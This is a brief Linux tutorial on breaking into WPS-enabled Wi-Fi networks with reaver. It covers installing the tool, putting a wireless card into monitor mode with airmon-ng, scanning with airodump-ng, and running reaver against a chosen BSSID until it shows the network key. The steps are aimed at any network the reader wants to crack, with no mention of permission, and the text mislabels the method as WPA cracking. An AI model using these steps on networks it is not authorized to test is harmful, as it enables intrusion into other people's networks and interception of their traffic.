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The limitations of aircrack-ng is, its accuracy is very poor when working with WPS encrypted networks.
 For this purpose, we will be using a tool called "reaver" to crack WPS encrypted networks without the need of a wordlist or a dictionary attack.
 reaver is also included in the toolkit in Kali Linux.
 Requirements:
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1) Debian based linux distro ( for starters ), any other linux distro for advanced users.
 2) aircrack-ng
 reaver Installation:
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If you use Ubuntu 13.04 or Higher (Including Mint):
 Open terminal and type:
sudo apt-get install reaver
 For other Linux:
Download reaver from here.
https://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
 Installation:
Open Terminal Type:
 sudo su
 wget https://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
 tar -xzvf reaver-1.4.tar.gz
 cd reaver-1.4/src
 ./configure
 make
 sudo make install
 ---------------------------------------------------------
 Now To Crack WPA Networks with reaver:
 ----------------------------------------------------------
 Open terminal type:
 sudo su
(run as root)
 sudo airmon-ng start wlan0
(enabling monitor mode on wireless card)
 airodump-ng mon0
(scanning for wireless networks)
 --------------------------------------------------------------
 When you find the network you want to crack, press Ctrl + C to stop scanning.
 Copy the BSSID of the network.
 type in:
 reaver -i mon0 -b 11:22:33:44:55:66 -vv
(note : replace 11:22:33:44:55:66 with the BSSID of the network you want to crack)
 Press enter, and sit back.. reaver will do the rest and show you the KEY.